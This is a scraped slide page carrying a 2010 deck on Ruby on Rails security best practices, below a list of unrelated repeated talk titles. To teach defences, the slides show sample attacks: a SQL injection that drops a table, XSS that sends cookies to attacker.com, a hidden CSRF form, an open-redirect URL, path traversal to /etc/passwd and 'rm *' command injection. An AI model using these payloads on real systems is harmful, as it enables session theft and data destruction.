Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck Presentation
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machine
 
My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL Certs
 
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?
 
Search Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfSearch Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdf
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptx
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdf
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clash
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platforms
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQL
 

Rails Security

  • 1. Rails Security Best Practices http://ihower.tw 2010/3
  • 2. About Me • a.k.a. ihower • http://ihower.tw • http://twitter.com/ihower • http://github.com/ihower • Ruby on Rails Developer since 2006 • Ruby Taiwan Community • http://ruby.tw
  • 3. Defense in Depth • Network: firewalls, IDS • Operating system • Web server • Web application • Database
  • 4. 75% of attacks are at the web application layer (By The Gartnet Group estimation)
  • 5. What is Security? • a measurement, not a characteristic • not a simple requirement to be met... • must be balanced with expense • it’s easy and relatively inexpensive to provide a sufficient level of security for most applications. But if you need more... • must be balanced with usability • it’s often increase security also decrease the user usability... • must be part of the design (from PHP Security Guide: Overview)
  • 6. Okay, your users are evil, they will give you illegitimate operation and data.
  • 7. Agenda • Information leaks • Session • SQL injection • Mass assignment • Unscoped finds • Controller Exposing methods • XSS • CSRF • File uploads/download • DoS • Host
  • 8. Information Leaks • Rails app? • Web and Application server? • SVN metadata?
  • 9. Rails app? • Default static files • /javascript/application.js • /stylesheets/application.css • /images/ • URL schema • /post/show/3 • /users/5 • 404/500/422 pages
  • 10. Web and Application Server? • Server Header • apache • nginx • mongrel • mod_rails
  • 11. Disable Server Header Server:Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch Phusion_Passenger/2.2.9 ✓ # apache2.conf ServerSignature Off ServerTokens Prod Server:Apache
  • 12. SVN metadata • GET http://your_site.org/.svn/entries ✓ <DirectoryMatch "^/.*/.svn/"> ErrorDocument 403 /404.html Order allow,deny Deny from all Satisfy All </DirectoryMatch> Or just delete it: http://plog.longwin.com.tw/my_note-unix/2008/01/07/find_delete_svn_directory_2008
  • 13. Sensitive Information • Do not store sensitive information in the clear • cookie • session(or flash) • memory for a long time • log files • cache
  • 14. Filter Log params Processing UsersController#create (for 127.0.0.1 at 2009-01-02 10:13:13) [POST] Parameters: {"user"=>{"name"=>"eifion", "password_confirmation"=>"secret", "password"=>"secret"}, "commit"=>"Register", "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5"} ✓ # Rails 2.x class ApplicationController < ActionController::Base filter_parameter_logging "password" end Processing UsersController#create (for 127.0.0.1 at 2009-01-02 11:02:33) [POST] Parameters: {"user"=>{"name"=>"susan", "password_confirmation"=>"[FILTERED]", "password"=>"[FILTERED]"}, "commit"=>"Register", "action"=>"create", "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5", "controller"=>"users"}
  • 15. Cookie Session Storage # config/initializers/session_store.rb ActionController::Base.session = { :key => '_app_session', :secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...' } • Don’t use a trivial secret • Don’t store any secret information here • Or.... just switch to another session storage
  • 16. Session The session id is a 32 byte long MD5 hash value. • Hijacking • Fixation • reset_session after every login
  • 17. SQL injection x'; DROP TABLE users; -- Project.find(:all, :conditions => "name = '#{params[:name]}'") SELECT * FROM projects WHERE name = 'x'; DROP TABLE users; --’
  • 18. SQL injection vulnerabilities: • find_by_sql • execute • find with conditions in a string • limit and offset (before rails 2.1.1) • group_by • order
  • 19. Always use the hash or array form ✓ Project.find(:all, :conditions => { :name => params[:name] } ) # or Project.find(:all, :conditions => ["name = ?", params[:name] ] )
  • 20. Only allow predefine value class User < ActiveRecord::Base ✓ def self.find_with_order(order) raise "SQL Injection Warning" unless ["id","id desc"].include?(order) find(:all, :limit => 1, :order => order ) end end
  • 21. Use quote if you need pass it directly ActiveRecord::Base::connection.quote class User < ActiveRecord::Base ✓ def self.find_with_order(order) find(:all, :order => connection.quote(order) ) end end
  • 22. Mass assignment def create params[:user] #=> {:name => “ow3ned”, :is_admin => true} @user = User.create(params[:user]) end def update @user = User.update_attributes(params[:user]) end
  • 23. Protect it! ✓ class User < ActiveRecord::Base attr_protected :admin end # or class User < ActiveRecord::Base attr_accessible :name end
  • 24. Assign protected attributes manually params[:user] #=> {:name => "ow3ned", :admin => true} @user = User.new(params[:user]) @user.admin #=> false # not mass-assigned @user.admin = true @user.admin #=> true
  • 25. Unscoped finds class UserOrdersController < ApplicationController def show @order = Order.find(params[:id]) end ✓ def show @order = current_user.orders.find(params[:id] end
  • 26. Controller Exposing methods • Use protected and private • If use RESTful design, do not use default routes • http://ihower.tw/blog/archives/3265
  • 27. XSS(Cross-Site Scripting) malicious users inject client-side script into web pages viewed by other users <script>alert('HACK YOU!');</script> <img src=javascript:alert('HACK YOU!')> <table background="javascript:alert('HACK YOU!')"> <script>document.write(document.cookie);</script> <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> • Do not want to build black-list, you can find more at http://ha.ckers.org/xss.html
  • 28. XSS Protection (Rails2) • Use escapeHTML() (or its alias h()) method • Plugins • http://github.com/nzkoz/rails_xss (for Rails 2.3) • http://agilewebdevelopment.com/plugins/safe_erb • http://code.google.com/p/xss-shield/ (Tainting way)
  • 29. XSS Protection (Rails3) • Rails 3 auto escape string • Unless you html_safe or raw string • “<p>safe</p>”.html_safe • raw(“<p>safe</p>”)
  • 30. Allow user to use simple HTML code • Use white-list sanitize() method • If you use Textile or Markdown markup language, you still need sanitize it.
  • 31. CSRF Cross-Site Request Forgery Use another users’ authorization token to interact with a web application as the trusted user in a malicious way.
  • 32. CSRF protection (1) • Use GET request for safe operation such as a query, read operation, or lookup • Use POST request for any destructive actions such as create, update, delete
  • 33. But... • POST requests can be sent automatically, too. An example: <a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless survey</a>
  • 34. CSRF protection (2) protect_from_forgery will check all POST requests for a security token ✓ class ApplicationController < ActionController::Base protect_from_forgery end <form action="/projects/1" class="edit_project" enctype="multipart/form-data" id="edit_project_1" method="post"> <div style="margin:0;padding:0;display:inline"> <input name="_method" type="hidden" value="put" /> <input name="authenticity_token" type="hidden" value="cuI +ljBAcBxcEkv4pbeqLTEnRUb9mUYMgfpkwOtoyiA=" /> </div>
  • 35. Redirection Do not allow user to pass (parts of) the URL for redirection directly def legacy redirect_to(params.update(:action=>'main')) end http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
  • 36. File Uploads: Overwrite • Make sure file uploads don’t overwrite important files. eg. “../../../etc/passwd” • Validate file name is simple. Don’t try to remove malicious parts. • Use plugins: attachment_fu or paperclip
  • 37. File Uploads: Executable • never to allow users to upload any extension associated with executable content on your site (.php, .cgi ...etc) • when user download, set the appropriate Content-Type HTTP header, eliminate the potential for XSS attacks. • or never let these files be not accessible to your web server (outside the DocumentRoot in Apache)
  • 38. File downloads Make sure users cannot download arbitrary files. send_file('/var/www/uploads/' + params[:filename])
  • 39. Command Line Injection system("/bin/echo","hello; rm *") # prints "hello; rm *" and does not delete files
  • 40. denial-of-service attacks (DoS) • Avoid Long-running action, use background- processing. • Don’t bother your application server • Use Web server provide static files • Use HTTP reverse proxy if need
  • 41. Host • Platform (Windows, Linux, Solaris, BSDs) choosing one which you can trust and familiar • Firewall you can use nmap tool to show which ports are open • SSH: move port 22 to another • Turn off any services that you aren’t using. • Hire system administrator to help Your time as a developer should be spent on the things your are good at.
  • 43. Fail Close # fail open way, it’s bad def show @invoice = Invoice.find(params[:id]) unless @user.validate_code( @invoice.code ) redirect_to :action => 'not_authorized' end end # fail close way def show @invoice = Invoice.find(params[:id]) if @user.validate_code( @invoice.code ) ✓ else redirect_to :action => 'authorized redirect_to :action => 'not_authorized' end end
  • 44. Whitelisting use whitelist, blacklist is hardly complete admins = %{ihower ihover} # fail close way if admins.include? user ✓ redirect_to :action => 'authorized' else redirect_to :action => 'not_authorized' end # fail open way, don’t do this if !admins.include? user redirect_to :action => 'not_authorized' else redirect_to :action => 'authorized' end
  • 45. Conclusion • Rails has many security features enabled by default • SQL quoting • HTML sanitization • CSRF protection
  • 46. Reference • Agile Web Development with Rails 3rd. Chap.27 Securing Your Rails Application (Pragmatic) • Rails2 Chap.13 Security and Performance Enhancements (friendsof) • Advanced Rails Chap.5 Security (O’Reilly) • Security Audit by Aaron Bedra (Peepcode) • Security on Rails (Pragmatic) • PHP Security Guide • http://blog.innerewut.de/2009/11/3/ruby-en-rails-2009-recap • http://guides.rubyonrails.org/security.html • http://www.rorsecurity.info • http://asciicasts.com/episodes/178-seven-security-tips • http://www.ultrasaurus.com/sarahblog/2010/01/rails-security-review-checklist/ • http://www.quarkruby.com/2007/9/20/ruby-on-rails-security-guide • http://www.owasp.org